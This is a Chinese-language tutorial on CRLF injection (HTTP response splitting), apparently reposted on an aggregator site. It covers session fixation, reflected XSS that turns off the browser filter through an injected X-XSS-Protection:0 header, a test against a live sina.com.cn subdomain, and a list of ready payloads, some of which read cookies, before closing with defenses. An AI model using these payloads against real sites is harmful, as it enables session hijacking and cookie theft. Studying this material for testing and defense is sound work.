Web安全

您所在的位置:网站首页 漏洞的定义和危害有哪些表现呢 Web安全

Web安全

2024-07-17 10:46| 来源: 网络整理| 查看: 265

文章目录 漏洞简介漏洞利用会话固定XSS攻击 实战案例挖掘技巧漏洞防御

漏洞简介

CRLF 是 CR 和 LF 两个字符的拼接,它们分别代表 “回车+换行”(\r\n),全称为 “Carriage Return/Line Feed”,十六进制编码分别为0x0d 和 0x0a,URL编码为 %0D 和 %0A 。CR 和 LF 组合在一起即 CRLF 命令,它表示键盘上的 “Enter” 键,许多应用程序和网络协议使用这些命令作为分隔符。

在 HTTP 协议中,HTTP header 之间是由一个 CRLF 字符序列分隔开的,HTTP Header 与 Body 是用两个 CRLF 分隔的,浏览器根据这两个 CRLF 来取出 HTTP 内容并显示出来。

所以如果用户的输入在 HTTP 返回包的 Header 处回显,便可以通过 CRLF 来提前结束响应头,在响应内容处注入攻击脚本。因此 CRLF Injection 又叫 HTTP 响应拆分/截断(HTTP Response Splitting,简称HRS)。

此处可以在本地测试一下 CRLF 字符的作用,如输入111%0d%0a222%0d%0a%0d%0a333,能看到插入一个 CRLF 字符和两个 CRLF 字符依次的作用是换行和插入空行: 在这里插入图片描述 CRLF 注入漏洞的本质和 XSS 有点相似,攻击者将恶意数据发送给易受攻击的 Web 应用程序,Web 应用程序将恶意数据输出在 HTTP 响应头中(XSS一般输出在主体中)。所以 CRLF 注入漏洞的检测也和 XSS 漏洞的检测差不多。通过修改 HTTP 参数或 URL,注入恶意的 CRLF,查看构造的恶意数据是否在响应头中输出。

漏洞利用

根据插入的 CRLF 的个数不同,可设置任意的响应头,控制响应正文两个主要的利用办法。具体的危害表现在:会话固定、XSS、缓存病毒攻击、日志伪造等等。

会话固定

正常一般网站会在 HTTP 头中用 Location: ip 这种方式来进行302跳转,所以攻击者可以构造恶意的 CRLF 字符控制的内容就是Location:后面的内容!

一个正常的 302 跳转包是这样:

HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn

但如果我们输入的是:

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行,此时的返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个 SESSION,造成一个“会话固定漏洞”。 在这里插入图片描述

XSS攻击

当然,HRS 并不仅限于会话固定,通过注入两个 CRLF 就能造成一个无视浏览器 Filter 的反射型 XSS。

比如一个网站接受 url 参数 http://test.sina.com.cn/?url=xxx,xxx 放在 Location 后面作为一个跳转。如果我们输入的是:

http://test.sina.com.cn/?url=%0d%0a%0d%0a

返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location:

之前说了浏览器会根据第一个 CRLF 把 HTTP 包分成头和体,然后将体显示出来。于是我们这里这个标签就会显示出来,造成一个XSS。

为什么说是无视浏览器 Filter 的?

这里涉及到另一个问题。浏览器的 Filter 是浏览器应对一些反射型XSS做的保护策略,当 url 中含有 XSS 相关特征的时候就会过滤掉不显示在页面中,所以不能触发 XSS。怎样才能关掉 filter?一般来说用户这边是不行的,只有数据包中 http 头含有X-XSS-Protection 并且值为 0 的时候,浏览器才不会开启 filter。

说到这里应该就很清楚了,HRS 不正是注入 HTTP 头的一个漏洞吗,我们可以将 X-XSS-Protection:0 注入到数据包中,再用两个 CRLF 来注入 XSS 代码,这样就成功地绕过了浏览器 filter,并且执行我们的反射型 XSS。所以说 HRS 的危害大于 XSS,因为它能绕过一般 XSS 所绕不过的 filter,并能产生会话固定漏洞。

综上,当我们输入两次%0d时,响应头和响应正文会进行分离,就可以构成反射型 xss,Payload 如下:

http://you-ip/?setcookie=%0dX-XSS-Protection:%200%0a%0d%0a%0d%0aalert('xss')

响应包:

HTTP/1.1 200 OK Content-Type: text/html Connection: close set-cookie: X-XSS-Protection: 0 alert('xss') 实战案例

来一个真实案例, 新浪某分站含有一个 url 跳转漏洞,危害并不大,于是我就想到了 CRLF Injection,当我测试:

http://xxx.sina.com.cn/?url=%0d%0a%0d%0a%3Cimg%20src=1%3E

的时候,发现图片已经输出在页面中了,说明 CRLF 注入成功了: 在这里插入图片描述 那么我们试试 XSS 看看: 在这里插入图片描述 看控制台,果然被 XSS Filter 拦截了。

那么我们就注入一个:

X-XSS-Protection:0

到数据包中,看看什么效果: 在这里插入图片描述

挖掘技巧

挖掘此类漏洞,依旧要遵循亘古不变的原则,观察我们的 “输入” 和 “输出” 位置,对于 CRLF 则是观察返回的各种类型的协议头,所以挖掘分三步:

观察输出是否在返回头中,查看输入,可能是在 URL 值和参数、cookie 头中,在过往的挖掘过程中,最常见的两种情况是使用输入参数创建 Cookie和 302 跳转 location 处;提交 %0D%0A 字符,验证服务器是否响应%0D%0A,若过滤可以通过双重编码绕过;漏洞利用,使杀伤最大化,将漏洞转化为 HTML 注入,XSS,缓存 等。

附上 CRLF Payload:

//探测漏洞: %0d%0aheader:header %0aheader:header %0dheader:header %23%0dheader:header %3f%0dheader:header /%250aheader:header /%250aheader:header /%%0a0aheader:header /%3f%0dheader:header /%23%0dheader:header /%25%30aheader:header /%25%30%61header:header /%u000aheader:header //开放重定向: /www.google.com/%2f%2e%2e%0d%0aheader:header //CRLF-XSS: %0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2e%2e //XSS绕过: %2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/ //Location: %0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E 漏洞防御

要避免 http 响应截断,需要注意以下几点:

对用户的数据进行合法性校验,对特殊的字符进行编码,如、’、”、CR、LF等,限制用户输入的 CR 和 LF,或者对 CR 和 LF 字符正确编码后再输出,以防止注入自定义 HTTP 头;创建安全字符白名单,只接受白名单中的字符出现在 HTTP 响应头文件中;在将数据传送到 http 响应头之前,删除所有的换行符。


【本文地址】


今日新闻


推荐新闻


    CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3